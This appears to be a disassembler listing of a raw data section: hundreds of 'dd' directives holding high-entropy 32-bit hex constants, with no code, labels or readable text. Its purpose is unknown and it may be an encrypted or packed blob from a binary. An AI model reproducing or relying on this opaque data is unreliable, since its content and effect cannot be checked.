		dd 85A6D2Fh, 63853638h,	0EF3296E8h, 0B79938C2h,	660301EEh
		dd 0D47EA51h, 0E70979A9h, 1E7B30C2h, 6D984FEDh,	41F7C27Ah
		dd 43E50B24h, 0FD440E51h, 0E51535FFh, 1025FEA1h, 22BDE238h
		dd 7961473h, 0F5BED46h,	2022007Fh, 0AD4560A4h, 0BCDB6354h
		dd 0FDFC190Dh, 1FCA15D2h, 1E230EA3h, 9F8AC06Eh,	2ADD00D0h
		dd 0DB93A2C2h, 6513962Ah, 0E1878AACh, 6324A367h, 2D754EA5h
		dd 256E55ACh, 9BCC816Ah, 78C43FABh, 7E6CED0Ah, 0E8FA6734h
		dd 0F5C46BACh, 0DA098B5h, 85F32F87h, 1825512h, 81F8F335h
		dd 76A0B85Bh, 0D4A2C5E0h, 0FD702384h, 12165F89h, 0E2D8A0B5h
		dd 14D3DFBDh, 2A4C7C90h, 18702CC2h, 0A7BAC404h,	389FF1A9h
		dd 48516F69h, 0BC3901C7h, 3C6F0269h, 0C87122D8h, 7550388Ah
		dd 0DCEAF77Fh, 18134FB6h, 0D7F2C015h, 0C2A4C54Ch, 8B70CAC8h
		dd 0DC358157h, 14D21DB6h, 0C8E8AC63h, 0F7EC4E7Fh, 0CF5819D9h
		dd 9C285D62h, 8C88EB62h, 0B8CBE620h, 9C1D865Fh,	0A6BF2915h
		dd 1A680C4Eh, 72718634h, 0ED433C64h, 0C68B172Ch, 9027B933h
		dd 0BBACBE5Bh, 4468375h, 2CE3B12h, 574E0B6Bh, 0BAA87E88h
		dd 4454296h, 770BE014h,	3420D80Ch, 0AB9A1A69h, 81D1F283h
		dd 0EC435FEh, 0A7AA0AEFh, 204505C9h, 50A67EBh, 0C9B618C1h
		dd 0E77128FFh, 755E955Ch, 0F66060E4h, 16B091C2h, 0E0F9E698h
		dd 0EDC76A55h, 16CC6901h, 8DC0E698h, 0E4CA6E46h, 0EEFE9BEAh
		dd 0E74E609Eh, 89F514E3h, 1999FCA5h, 9BACF2C0h,	2CC0D6C6h
		dd 6A710AE6h, 97A7B70Ah, 0CB08202Ah, 824D6AF1h,	0EE256369h
		dd 4CF1E801h, 69EAD5FCh, 95A09FCBh, 0ACB22250h,	111770BFh
		dd 505BC933h, 0FFE51275h, 0EA3554C8h, 2A3DE590h, 0D48A3F67h
		dd 98DDECA1h, 1D725826h, 0EFA6352h, 5E5A7EC5h, 0F1132621h
		dd 0D07E8E6Dh, 0CA9ACB5Ch, 15333D5Ah, 2EDE53C0h, 0E4A7AF6Ch
		dd 338CBDA5h, 36EBF39Ch, 9E43CF04h, 4E95BC77h, 28DE4DC4h
		dd 0F0541EA6h, 9C899C8Bh, 0D0269C84h, 418306CAh, 0AA74A53Eh
		dd 0DAB5391Ch, 0FFE29628h, 0AD801991h, 0A87EF2CCh, 0D0E4619Bh
		dd 0AD437636h, 8C85C767h, 0B09FDE89h, 55C59ED8h, 0DF89D8EBh
		dd 0E4DD402h, 0DF89DCF3h, 0C87A99A3h, 6A3FA18Fh, 2BB4B66Dh
		dd 187A82C2h, 0F2C5C404h, 0D0612A11h, 980E285Ch, 41CA11F0h
		dd 198C49CBh, 864B6A9h,	68FC16A5h, 76CFAE1Ch, 0AEFB5DB9h
		dd 5842DAA9h, 0C40D535Fh, 8EBB2C2Fh, 6657B33h, 2F9FF4B2h
		dd 322564E3h, 1E9FEFC6h, 0AAFD347Dh, 3B20D417h,	0BE00A75Ch
		dd 0C982DEF6h, 54585364h, 3402BB3h, 823AA8Eh, 0E3BD56ACh
		dd 34DFD7F1h, 562CA3h, 139A5EFBh, 4C99D549h, 7131FAC5h
		dd 0AF43AA5Fh, 5A49A28Bh, 3AFCEBD8h, 4B61DBCFh,	0D704608h
		dd 1FA26310h, 0AD755892h, 0E42FA9FEh, 0B8BE5582h, 0F6CC7D62h
		dd 0E48B20CFh, 697F2B65h, 0F3B69D78h, 3E7A0C6Dh, 3180A92h
		dd 63B9ACFDh, 1DC409B5h, 50320ADFh, 0BB0A4A94h,	0F8ADB07Ch
		dd 0FC6F7CDAh, 933754C8h, 86EA11A2h, 0E9B71E69h, 0F0BFDD18h
		dd 7857F2C0h, 6BBD6C61h, 3CDB5CF8h, 8F34CD1Fh, 693859DFh
		dd 0CC18A4B1h, 0F29C20D0h, 8D1E3F2h, 3661173Ch,	8897800Ch
		dd 1EEE7A3h, 0F257167Fh, 943E7019h, 90AC4C9h, 9ABAB806h
		dd 3D6733DEh, 0DE003D16h, 4DC550F2h, 7A40C069h,	6F9FE109h
		dd 0AE3F4A95h, 12299ED2h, 1CB7DEC7h, 80CE484Eh,	42D9413h
		dd 56C1877Fh, 539FF0DBh, 0CBC6FBF8h, 5A486491h,	0D3A260F1h
		dd 0D2A85FB3h, 0EEEC43D0h, 49E0416Dh, 0C2F2BCF6h, 0C3074543h
		dd 0DF61C71Fh, 0AB5E954Ch, 2A4E3F9Eh, 0EBE0F2C2h, 0C625F278h
		dd 0B98CD466h, 0D420F636h, 77A043E7h, 2520E889h, 3A316BA7h
		dd 76D8922Bh, 0EC88CC17h, 355BA3Ah, 1C075E8Dh, 20F7DB29h
		dd 2394EBADh, 0D2ACC43Ah, 7ED93F41h, 6D98BD68h,	0A862A8EFh
		dd 0BCF3E4D5h, 0F09FDE8Ch, 0B945D274h, 5F844F78h, 921A8809h
		dd 0D19FF11Ah, 5B504E36h, 0DE87AC76h, 0DF393BDDh, 2A9D191h
		dd 7B646DF0h, 0CCB19FECh, 33D17D1Bh, 6DBB104Eh,	31D05816h
		dd 0C7C59E4Ah, 11DDDE0Ch, 92D62B6h, 0EF513413h,	158FF845h
		dd 0ED997FAAh, 36611585h, 6CB4510Ch, 7172F6A5h,	7037BD71h
		dd 0B730680Bh, 7D8946C3h, 0A2F18145h, 0AB96E8AAh, 0F8242BBDh
		dd 17E39B49h, 0C21F3670h, 61273223h, 68FC19D4h,	76CFAE1Ch
		dd 277E8010h, 0ADCD6A31h, 0F98AB21h, 0B3CA82E1h, 7FA35A11h
		dd 6183AE5Ah, 7CF854F2h, 46E778F9h, 1A096FAEh, 7A70DC55h
		dd 0E7F377B6h, 943D7044h, 0B6DB8EDBh, 0C69A0625h, 1D4AE1C9h
		dd 0E7F541DEh, 0D8FD15D3h, 0D5A78293h, 0CD1CA8C2h, 0EF780098h
		dd 0DE68B68Ch, 3BF116F2h, 3DA1B4AAh, 0D45E83A3h, 36719C13h
		dd 0B0F26D5Fh, 0FD53378Bh, 158591ABh, 6CB1A1FBh, 58C982FDh
		dd 2AB72D90h, 0F70FA96Dh
		dd 0CD9B841Dh, 32D196C1h, 0A91076DDh, 0C987DFB7h, 443A556Dh
		dd 90E25C25h, 7C10FEE8h, 0EF947003h, 7D18AE4Bh,	4D795E70h
		dd 9CC90CF1h, 377752AAh, 0D69CD0BFh, 3A5382CDh,	61176E82h
		dd 24B3C518h, 4198521Ch, 0E1092776h, 0C757F02Dh, 0C914DF19h
		dd 4D1A5ABEh, 8FAD44C2h, 6991B5CBh, 67AD3F9h, 733DF5DCh
		dd 320DD7B1h, 0B76CB9C0h, 9F74D675h, 6271D9CAh,	65CDD172h
		dd 0E2044FD3h, 0A72D7CD0h, 1F62ECD3h, 0CA109BCDh, 71C3FE90h
		dd 4456E92Ah, 85D910A8h, 0D59422E9h, 0E550C157h, 0CC0222E3h
		dd 97DADC41h, 0B506100Fh, 68E68A8Bh, 4BEF0366h,	77A4A4Dh
		dd 0E5C7DB50h, 0A360E71Bh, 32802CA1h, 20FC86E2h, 43261CA5h
		dd 0FD973D7h, 3C913CD3h, 0AB93616Fh, 0DC90542Bh, 281B966h
		dd 0A8651FF4h, 0A63E7640h, 0F3DDB1BEh, 6ADE8F55h, 42A13D49h
		dd 0B834B3CBh, 9E47FF85h, 0EA225F0Dh, 291FC775h, 0ED179985h
		dd 7564153Ah, 0BF09D92Eh, 1C4E978Bh, 1CF6C6CAh,	43BA2447h
		dd 0DC51F1C2h, 0FB1B519h, 0E057B8A4h, 0A9C523E7h, 0CFD95F0Dh
		dd 0D3BB744Ch, 172CEE78h, 15FBF610h, 800EF1AFh,	15FBDAF6h
		dd 0BD2E144Fh, 4F8A6E15h, 3EB1F1D6h, 0D9C60671h, 0A9CA231Eh
		dd 1DD95F0Dh, 9DE475FDh, 4296BE0Dh, 920EFB2Ch, 1CF0F1ACh
		dd 9DE474A5h, 208DA00Dh, 92BFECA6h, 9DE47A47h, 0AA16D80Dh
		dd 0B0EDDA38h, 2579C3E5h, 70A47859h, 0D3FB2856h, 92105227h
		dd 4B6DCC58h, 8B05E8A6h, 17661FC5h, 0EC52B403h,	0FAD205B3h
		dd 0B9F1DA83h, 5B8477ADh, 4FC58BC3h, 8CD6B668h,	13F02182h
		dd 5CB2083Fh, 95D6315h,	0BDBF973Eh, 34D714Fh, 0B4350236h
		dd 7C469810h, 0DF4C4539h, 9F784AC1h, 5979B287h,	91827C6Dh
		dd 52B35769h, 0B5F4581Ch, 8BF7C507h, 0A91C00D3h, 0CB643F7Ah
		dd 0C97CA034h, 0BCC5AF3Eh, 44F721C1h, 9E4977A4h, 2A335F0Dh
		dd 216958A4h, 0EC00CD34h, 0E64D025Ch, 230249Dh,	2F8C5ACh
		dd 9F80BA7Fh, 56925F0Dh, 0E8D95F0Fh, 90788047h,	0D302A2E7h
		dd 2B1AA25Eh, 8A6E5F0Ch, 9DB2924h, 0A45E75EBh, 391FA9D6h
		dd 5810D7F2h, 0BD256A95h, 0CBAE892Ch, 838E21A8h, 79548E2Ah
		dd 36F44B59h, 330718Bh,	16F864B4h, 0E27766BBh, 826D20C7h
		dd 0BD56E415h, 9F12D69Eh, 615C838Ah, 51ECF431h,	0ACEFA8D7h
		dd 7F1824A6h, 2D195972h, 9F7A2770h, 170207C6h, 971E8BA4h
		dd 359BEFEh, 5BB6A9AEh,	0CD176459h, 0E117EA3Fh,	1203C872h
		dd 8F87281h, 178AC992h,	0E32CEF61h, 0E32EF9A9h,	8F81E67h
		dd 5A093260h, 23A2C52Dh, 17560CB6h, 8F88EE1h, 9439807Eh
		dd 0D56D9C5Bh, 0ED0980BEh, 0A3C32491h, 33F20735h, 0F652066Ah
		dd 0CB5FD4B2h, 9643856h, 4AE33AB2h, 4037F5C4h, 0E6EF19E3h
		dd 0C4AC0E3h, 0E9BBF9B2h, 6982DE37h, 0E0A56F03h, 0AB6C93F0h
		dd 1A45B13Ah, 0CC8220Dh, 3B489B80h, 0A44BF98Dh,	8C724F6h
		dd 0F52A1AB2h, 8CD8849h, 0CED81AB2h, 2940B579h,	21C53A88h
		dd 2E3C3C86h, 0BCBB1AB2h, 644FBB51h, 0FD0183D0h, 34BD1B27h
		dd 2B197A5h, 8F86FBFh, 0A037407Dh, 0B07D9E0Fh, 2EC0EC5h
		dd 2E59C27Ch, 6CB9B5FBh, 1F7F220Dh, 2557CBA4h, 0DA5FE86Ah
		dd 964382Bh, 79203AB2h,	415F16B9h, 0E6EF19E3h, 8F847E3h
		dd 4A3938B2h, 0C880DFF5h, 13E6C867h, 0F54408ABh, 4F4D07A4h
		dd 0DAACAB6Ah, 7E974A14h, 30C1B158h, 64B34385h,	9CBE2086h
		dd 0EE6330F1h, 0EF485FB1h, 4490ACF3h, 0F5A2EA3Fh, 74354DCh
		dd 94081B2Ah, 735B3856h, 0C0551D7Ah, 0C7C89CC7h, 5B2182CAh
		dd 0DE1707C2h, 0F60769C8h, 0BE2103AFh, 0B4C0C19h, 0A32C1861h
		dd 0DEDCAD28h, 0C7C8AB85h, 7521CCCAh, 8CB99FA5h, 43CF0432h
		dd 0D69A430h, 0CC2C3892h, 70153034h, 0C7C89254h, 0CB00E1CAh
		dd 0CD3A1BE0h, 0FE307411h, 0A64A8AF3h, 663D9771h, 961ED90Dh
		dd 0F5C040B6h, 39971861h, 9FB0FDC1h, 3B1D9039h,	0DCCAF228h
		dd 96176A10h, 7A86811Fh, 1F8E2046h, 2B27553Bh, 8F32C03Bh
		dd 68630DFh, 0EE65B803h, 0BB1A4861h, 0B54DB50Bh, 482E99D7h
		dd 6A3DC68Dh, 2B48433Eh, 0CCD24771h, 0CFA2D834h, 0AD2E17CFh
		dd 8CA7E29Fh, 0C796E354h, 8CB5E5CAh, 9613E54Ch,	0F0D6294Ch
		dd 8A15DA50h, 49B8B811h, 0E8CFA93Bh, 25CE78C7h,	4A0D3C62h
		dd 0C20B250h, 0D4747C44h, 28425940h, 0A74746FBh, 0B97CE6CEh
		dd 3 dup(0B97CE6F9h), 0B8C5C48Ah, 95171EF9h, 0B6DABC1Ch
		dd 487E58ECh, 0C4039740h, 3877B540h, 86D57EC8h,	0ADABC1Ch
		dd 0C7E5888h, 237CA67h,	9DF71A95h, 0FA2545BEh, 0C4D081DCh
		dd 3FAD2CC3h, 6C2F8B22h, 8896A858h, 0D41CA21Eh,	28682E3Bh
		dd 0B33BD791h, 176D1735h, 0A295D77Dh, 0A1978603h, 8A6DB0C7h
		dd 0D7A59766h, 0A9AEDF2Fh, 0ACD72C0Ah, 495CFC9Ah, 72BE52F6h
		dd 0D2A2C66Ah, 0C06BA273h, 6B5C22h, 21613CBCh, 0E0C9DF32h
		dd 2CC27EB7h, 4503DB0Fh, 36EC00F4h, 0F08E2114h,	46683BBDh
		dd 0C300682Dh, 0BEAE3866h, 0B91B45F1h, 0D822DAF9h, 0CE70C05Ch
		dd 8A27519Ah, 42E94D9Ch, 7908018h, 9BB225A2h, 0FDA1027Dh
		dd 62D8ED6Ah, 87ED4F43h, 0F702A737h, 61F5C0E8h,	0C1697AE5h
		dd 4FBEC7C6h, 7CD7188Ch, 561FCD2Eh, 0BEDD1A3Eh,	977DBB25h
		dd 0CFFFB7D8h, 0B6233641h, 0B00179F8h, 3E5B20E3h, 8A5FEA18h
		dd 219C4D6Ah, 2DE3C10Eh, 744F1EFDh, 7EC3E6FBh, 2033E33Ch
		dd 0C660D86Dh, 0F6DC6CAFh, 0F7E7CDEEh, 3452B5C7h, 928846CDh
		dd 0D4051125h, 5D108C2Fh, 0AB114731h, 0B3FE2F40h, 0AF0D4A4Fh
		dd 0A35CFBFAh, 2BCF0D31h, 0C0F53463h, 0BFB04674h, 4E702163h
		dd 1765F2BBh, 0D094D74Eh, 0C9081D1Dh, 0B9D5C802h, 0ACB6E352h
		dd 0C31AC104h, 611DF933h, 0CB6EE67Dh, 45055512h, 1F0D2614h
		dd 2413882Ch, 42A9B3Dh,	2E14EDAEh, 94207FCBh, 65EC38F6h
		dd 0B96BF11Ah, 721994F9h, 0CE17061Bh, 0A764B31Fh, 0B40871ACh
		dd 99C5B151h, 86789B88h, 2EAE4E50h, 0F9DDFDCAh,	49159071h
		dd 836D94D8h, 4BF56DA3h, 18C20412h, 0B77558A4h,	0D7A594EAh
		dd 0F6C7166Ch, 2BCA31BDh, 3C2D4331h, 207F9374h,	0C834A924h
		dd 9E23E29Ch, 0C6F80C9Fh, 3986282Dh, 0D6541FC4h, 0CD3434B8h
		dd 8C0F5518h, 40D2DDDh,	2E8D5F6Eh, 6998A20Fh, 72566E18h
		dd 94E74C9Eh, 30AC9C8Bh, 7F9E220Ah, 0EF2804FBh,	20CB882Bh
		dd 0D45EEFA8h, 0E2D25677h, 0DCE35C1Eh, 0ED98413Eh, 0C27B8D2Ch
		dd 0F2756F61h, 0B96748B7h, 5245943Fh, 0A9D1A21Bh, 176D46FDh
		dd 456A3803h, 82BF368Bh, 4F76B5D3h, 41EEB3CEh, 26DEE33Eh
		dd 49FF20E2h, 0A5A0F91h, 0C56708Ah, 0D7B02D82h,	2A23C2D3h
		dd 262F3463h, 3D57DD1Dh, 6F53B1E2h, 8A97A270h, 0EDEC7B9Ch
		dd 8A9D0DE6h, 0BDB1A9Ch, 8858420Fh, 164DC798h, 0E644089Ah
		dd 0CAC512F4h, 74584B1Dh, 4CB54C98h, 0A23F89C4h, 97B8C96Ch
		dd 0F540D1BDh, 0FB730C62h, 0AE5F7F06h, 0DBD34D9Ah, 9FD5D190h
		dd 6AE38311h, 25D5A985h, 0E6BDE622h, 0C4D040BCh, 0D50A494Ch
		dd 0D32DF1C0h, 0F642611Ah, 70F431B3h, 0A1130A8Eh, 0FA7CE6E6h
		dd 9A691D75h, 0ABE1480Eh, 85934272h, 2D0B4EDAh,	6FC7FCF4h
		dd 0B4DC6198h, 0D051717Bh, 1AB54E91h, 0F863CD46h, 0E342982Ah
		dd 0AB0392E7h, 0F79D246Ah, 8CD6AAAEh, 0DD149FAh, 0D61A7681h
		dd 3CDEE24Ch, 9FD71A4Ch, 0E0C90E3Bh, 19A96DB7h,	0D8668497h
		dd 37E3F928h, 6B41AC63h, 0D5B225E7h, 0D5FF22EFh, 398DD115h
		dd 3E6201E9h, 0E1C9F6F1h, 80CA101Ah
		dd 917CE612h, 3B2B05Bh,	94333EBCh, 0D1522870h, 63FE997Dh
		dd 4A9202E8h, 7ADBDE59h, 0E1F652F4h, 9FA24FE7h,	9D54E335h
		dd 448B0363h, 177FB96Eh, 0E18A62A9h, 0B6E31C48h, 372A611Ah
		dd 5CC7D841h, 4E6CF11Ch, 40DA0C72h, 3D3342C9h, 9A691886h
		dd 0BCF4FC37h, 0D5C46796h, 2CFD2A38h, 9EF7243Ch, 615040BFh
		dd 0CB83A46Fh, 0FD67C459h, 0A8B2FB83h, 0D3BBF179h, 0FABE58E9h
		dd 0CDBF2859h, 6AE0D447h, 1119F111h, 6A2D4C4Dh,	14575BE1h
		dd 0CCF1CB3Ah, 0F467CCB3h, 0C4221E07h, 24558822h, 0D0B24AD5h
		dd 4F78DDADh, 0B96AD47Bh, 0A4055F4h, 0ECB43FD4h, 0A2940415h
		dd 3CD1B7DEh, 24787142h, 1BB3655Bh, 0FAD07829h,	8F75A7C9h
		dd 3838CA9Fh, 81C49956h, 0BA8A06A2h, 6D34ED52h,	0CDF0A059h
		dd 0FE429A05h, 0D1FCF17Dh, 7C1E20D9h, 8D841F3Fh, 0C2D6685h
		dd 95057DD4h, 2B5498DFh, 4004EFAh, 0BDC7B635h, 0FE34D3E4h
		dd 0C0DC99D8h, 0A575A6A7h, 0F8E00BD1h, 1902287Eh, 0A7AF2651h
		dd 492AB261h, 43820EBh,	0C3D0F2E2h, 186A2BF8h, 0B5927F5h
		dd 8314A79h, 50D40B35h,	657CF5B2h, 336488DBh, 2E5F16ADh
		dd 0B7755B6Ah, 0D7A594EAh, 689AD13Bh, 9ECDF221h, 2CA54247h
		dd 81323463h, 634ACAD8h, 65BEA5E7h, 13AB2DA6h, 0B4D6484Fh
		dd 47161F49h, 0F4693442h, 6B2B5017h, 5AA407E0h,	0B5E7CDF2h
		dd 81F10A2Ch, 93FC2991h, 0B97F084Dh, 45F91F78h,	0C35927A1h
		dd 0B91BFF10h, 7FF6D66Ah, 0B97E69F6h, 0D9A40E6Ah, 0BEF35558h
		dd 15046A7Dh, 504EBDCBh, 0DD295855h, 508929C7h,	0B645D92h
		dd 6BC5E39Fh, 0AB7A1E03h, 2806042Dh, 0F234277Fh, 0D69F9072h
		dd 60D130Fh, 0BF29609Ah, 5FE5FEF2h, 71B2CAF0h, 2B5958C3h
		dd 0F2484D53h, 20D1050h, 5E4E0272h, 85D5FCBFh, 8432E24Ah
		dd 3838ED91h, 50E68C94h, 39572469h, 31CE93B9h, 0E2E5E9D4h
		dd 46EE896Dh, 7CD336A0h, 754FAF54h, 31F7A457h, 1DDE16A0h
		dd 99A889F5h, 0D7DADD80h, 0D5BD8B57h, 63E90856h, 4F473858h
		dd 70E49533h, 0F40CBEB4h, 0D0922D11h, 30C9186Fh, 6437EB8Ch
		dd 0DAFD5E8Ah, 300EE7E5h, 68BA94B7h, 6D8AE0F2h,	7E9973DDh
		dd 9243F225h, 85D5E887h, 4A2B95C8h, 0C631AE41h,	0B6D638E3h
		dd 18D5FCBBh, 0D13957AEh, 3AD6687Ch, 2D246AF6h,	38BEE2Bh
		dd 51D5E2CEh, 235510CBh, 0F53BD9C2h, 1E0B5AF2h,	0B80F2DAEh
		dd 24EAC4F7h, 84F96A0Ch, 0E141107Dh, 0C16FCF85h, 8B9205D8h
		dd 0F261EA2h, 0A4E4A7B5h, 8956FE6Bh, 0D8D8D120h, 0F11662DAh
		dd 8E99B693h, 0B2D5ED90h, 0B50E4B6Dh, 6A56D8FEh, 4534BE2Fh
		dd 0E1C35AA0h, 30FE5CC8h, 0E35B79CBh, 0BC7C04D2h, 0DD6E2655h
		dd 2CEC024Dh, 802BF5F8h, 2DF08378h, 2C5B9D25h, 0EBC4C32Bh
		dd 7F21D264h, 0B0D35112h, 0BB051B62h, 9736BE4Dh, 0FE07218Eh
		dd 1CD8CF3Fh, 0DD239E75h, 625B9E75h, 5C9D232h, 54DB6DD7h
		dd 0F00A0DA4h, 0F92CFEA5h, 9AC8787Bh, 0FD40CDB4h, 0B8D8FFF5h
		dd 82B0CC9Eh, 0BA5BA02Bh, 0AFC334C0h, 0DE8198A4h, 3B260B82h
		dd 0C9430333h, 0E92FD264h, 0A7FA9F70h, 0B3A9C53h, 7725A36Dh
		dd 0CC2BD7A5h, 0B1AC8A95h, 0C8F74844h, 8B38D96Fh, 2EE2E6B9h
		dd 2DDD07F0h, 8482052Bh, 9154A02Bh, 0B34FD292h,	0BFAAB47Fh
		dd 0D8D84245h, 0D150A370h, 0C5E55422h, 38741577h, 0B4ECED0Eh
		dd 7947AB98h, 91F040F3h, 0DF4685ECh, 0F8176B82h, 0FF29D0CCh
		dd 1EFA6CD1h, 79D089BFh, 2102423Fh, 8201EE84h, 0D64DA752h
		dd 9451EE6Bh, 0C171DAD6h, 64698D29h, 0F3FC261h,	944FEF9Ch
		dd 23C812F1h, 82022061h, 0D64DA752h, 9451EE6Bh,	0E862DAD6h
		dd 64698B6Fh, 9797C261h, 0EE68DABFh, 4D7A9F07h,	94527FACh
		dd 0D537BA3Fh, 3D3808Fh, 9545CF82h, 651802D6h, 0C7698B6Ch
		dd 5772451Dh, 6302D428h, 0A6C03164h, 6074150Ah,	5332FFABh
		dd 0CDD06881h, 81D31F52h, 8951A752h, 9788B841h,	3F84B410h
		dd 8EC881DCh, 2F5B7FBFh, 4783AB36h, 391CF59Eh, 0D4D3DA70h
		dd 1287D1BBh, 8202AA65h, 97449B39h, 6658A52h, 6A0C194Bh
		dd 0B1CD416Ah, 19CB02BCh, 0C7698B40h, 1BFEACA6h, 9B3A991Eh
		dd 4ED787A7h, 94527FACh, 7BE0BA3Fh, 842FF3E5h, 9545CF98h
		dd 651802D6h, 0C7698B6Ch, 5782A923h, 0E9A28D18h, 933A9B10h
		dd 0C915B6F7h, 6CD089EEh, 947FDDDBh, 0BD0B8453h, 0A050FF83h
		dd 0C51B7BACh, 5902D05Ah, 0DD7F577Ch, 5B61D5CCh, 2FC9ED47h
		dd 0A37D542h, 0AC111A56h, 0E656D1D6h, 973873CAh, 5902D05Dh
		dd 0DD7F577Ch, 3661D5CCh, 2FCA12FAh, 0D237D542h, 8961F3A5h
		dd 160B8498h, 529E0B22h, 0CDD0BD38h, 14738652h,	988C839Ah
		dd 74300575h, 2FA84036h, 2DD9AB36h, 8202DB82h, 9 dup(8202A752h)
		dd 71EDA752h, 7202ABFAh, 8739917Bh, 5F2F06D9h, 520A1348h
		dd 0DB401EF6h, 0EAA6A379h, 0A6F8EC8Fh, 0A2B2F537h, 9EC527EAh
		dd 63D271D9h, 7003BDF3h, 0F1A271D7h, 0A35C53BCh, 0C4627A65h
		dd 7C00069Eh, 2F29B23Ah, 19E1F700h, 0FB8D32D9h,	0CAD47B42h
		dd 2B89DE45h, 569C4595h, 1DA94CF0h, 13270FBCh, 0A868D909h
		dd 0DC2711EEh, 15D9A078h, 0FA3E4B24h, 3850D62h,	29053D81h
		dd 333DE16Bh, 67BD526h,	0CA514178h, 9675FC7Dh, 0F14D59FAh
		dd 714488F2h, 0E2798059h, 0EDBDB272h, 1442DE7Ah, 0CF94B3DCh
		dd 0E7C79195h, 475E60E1h, 0E51B5274h, 442B2D65h, 29A064B2h
		dd 82CE4BD6h, 0C166A762h, 65ADDB97h, 6377C3F0h,	5D6257A8h
		dd 0B113F36Fh, 0F6971B13h, 5753EC36h, 8167AB18h, 3F531D5Ch
		dd 526B8E7Eh, 16FE52E8h, 0FDA86B8Ah, 293FFFA0h,	0EA197675h
		dd 598E8CBDh, 7D196F8Dh, 0F872FC0Ah, 7A73221h, 9F739114h
		dd 0AE02A9CCh, 8F975474h, 8679B155h, 0B99399B0h, 6E1F6330h
		dd 4A924B39h, 27E3BCCAh, 83B71B0h, 0DCD54353h, 0FE4F29C0h
		dd 0C9F8D326h, 1728DE45h, 0B114ABB9h, 53C62D8Fh, 5B6EF01Eh
		dd 685D3B6Eh, 889596DFh, 0FBF8B24Ah, 65FD8C06h,	6ECF6983h
		dd 373E68C1h, 3E75F86Ch, 0F2A1D6D6h, 25ACB24Dh,	0EF4E02AFh
		dd 0DFAEAEC6h, 8D8EC528h, 0B9271BB9h, 7CF934ECh, 0DD75F8A3h
		dd 7B89A2FBh, 0F409B529h, 5A85859Ah, 0DC298910h, 6E4557A8h
		dd 0F51C7C5h, 0EB24273Ch, 0A6598B31h, 35E32F23h, 0B95D4DBEh
		dd 1D05280Bh, 0D475F74Eh, 6FCE6A85h, 0F0A4FE63h, 0AC75FAC8h
		dd 28DD36B3h, 19A0D6h, 6F2640C4h, 4E156A39h, 4D02ACB7h
		dd 7B38FE20h, 80B6EA06h, 8B9FC362h, 3E8A6A04h, 0ED414E9Fh
		dd 7AB821E6h, 0F1D8B669h, 87B272A2h, 0F8BE78E9h, 8E47675h
		dd 0A622886Eh, 3BEDB463h, 0A5A2D9CFh, 37A81D1Bh, 0C276FF6Dh
		dd 63DFB0B3h, 0EA50F6Bh, 0DF0224BBh, 0E337E047h, 8183F536h
		dd 0D9F519BEh, 4F0562Dh, 4C8BD04h, 4AE01D1Ah, 77180BEAh
		dd 0F818AB36h, 91C6C505h, 67F4D302h, 46BCFDBDh,	0DEEB0A9h
		dd 74628D76h, 0F701CF31h, 0E12B4C35h, 0CD650385h, 6A2B5BEFh
		dd 4365043Eh, 7E74C00Bh, 0BFF68A9Ah, 0B9347B23h, 0DCD9DC9Dh
		dd 1E2AE954h, 3E4A6C53h, 2AB18h, 1550DCCFh, 0A0EF8EAFh
		dd 0AC042412h, 25E180ECh, 0EBB4B9B5h, 59DDE81Dh, 15B3F78Bh
		dd 0F19EEC8Eh, 11E78F23h, 6E7F7EC6h, 1E957429h,	0F19F0F93h
		dd 1D15571Bh, 0F0AEA5F4h, 946EDEC5h, 1CB5EB9Eh,	53B8192Eh
		dd 3D022F4Ch, 681657A8h, 0E13C55CCh, 99BDB22Bh,	457437EBh
		dd 7223F7C3h, 12826897h, 2450A17Bh, 0A57DDA3Ch,	500FDF2Dh
		dd 6D984F7Dh, 0DDE4E579h
		dd 4E62F029h, 4F12C7ABh, 0B3207775h, 9502AA58h,	6A45444Ch
		dd 527ABBEBh, 85FC49A8h, 757950F0h, 53440B4Eh, 3C6503E7h
		dd 8AA64C08h, 0F19EC9EEh, 0CDA1BC53h, 1D9E4CDBh, 0D34CD1Bh
		dd 0B2B899E2h, 7DFC6611h, 47309B18h, 94FC3310h,	2085B8BCh
		dd 0C8444E88h, 0D26B17C9h, 0D8576864h, 0FBFD2613h, 22298DCBh
		dd 0FF9EEDB7h, 1B4C999Eh, 8202D27Dh, 0F1B22CA0h, 2BAB4051h
		dd 79E63243h, 0CD241F23h, 92312281h, 0B5296862h, 2670254Bh
		dd 66D37DCEh, 954F7D62h, 0D2A2B748h, 7A17F3D9h,	3F35DB1Fh
		dd 23205853h, 0CB2D4E88h, 0FCB3AFE8h, 0E4F566C4h, 0BCFBD71Ch
		dd 0E788EFEEh, 59F7F614h, 0E475FBECh, 0CA988B77h, 0CE02AA47h
		dd 69C025D2h, 3A68E51h,	9055D0B0h, 71B062B0h, 0AA74CA5Fh
		dd 61C1DBE7h, 59DFDF71h, 67BD2CCh, 812C4127h, 0DAA2CA5Fh
		dd 56C5CC33h, 4315728Fh, 0FFF0207Ah, 5D34C978h,	6313356Ch
		dd 62C5B312h, 12020637h, 0E54B9A58h, 0FE1E251Bh, 9BB47B17h
		dd 21F8DF56h, 0D78739EBh, 0FB71C340h, 29279EDCh, 0F9034B1h
		dd 0CD899D70h, 2493C4A0h, 363CCC08h, 0C240110h,	7ED81EAEh
		dd 0FB9AA577h, 0BEAAB1ABh, 82923683h, 0E30298FDh, 54B9A029h
		dd 78CB4695h, 41D3F34Ah, 3ACA1050h, 38D17130h, 0A7D22676h
		dd 0B567069Eh, 26B909E6h, 56C0D54Eh, 3D34F72Ch,	55D248DDh
		dd 0C9DD128Eh, 0D8E2A1ECh, 141F2D0h, 0A9AAA166h, 72086D2Eh
		dd 3AC7E1A1h, 267D3222h, 0A59C6CBFh, 80D204F9h,	0A9871563h
		dd 273D0D62h, 376B0907h, 3A4659h, 83C69559h, 0FD34A71Dh
		dd 0D7BEFE48h, 5808C749h, 0EDDE1501h, 0CCADA066h, 5732A752h
		dd 4769CA9Dh, 0EBD9830Eh, 18F3F8B4h, 0A829F1E0h, 9D913CEFh
		dd 88DE8E83h, 235271A9h, 0AF786218h, 29A822AFh,	9E4E9E82h
		dd 481A0A70h, 0B4F416D0h, 0CDDACE10h, 60A03052h, 0F902AB36h
		dd 2340D7DBh, 7C2E1B54h, 591235D4h, 0B102AB18h,	0CDBD78A3h
		dd 0BCD30A52h, 0BD02DA72h, 0E05CD7B0h, 8202AB8Eh, 770F5452h
		dd 8B02AB36h, 7DEC2351h, 0DF7022D9h, 0C23AFBEEh, 7287DC26h
		dd 58DB8C08h, 0A03DE018h, 81DE5DD8h, 702A752h, 0BD0B83C2h
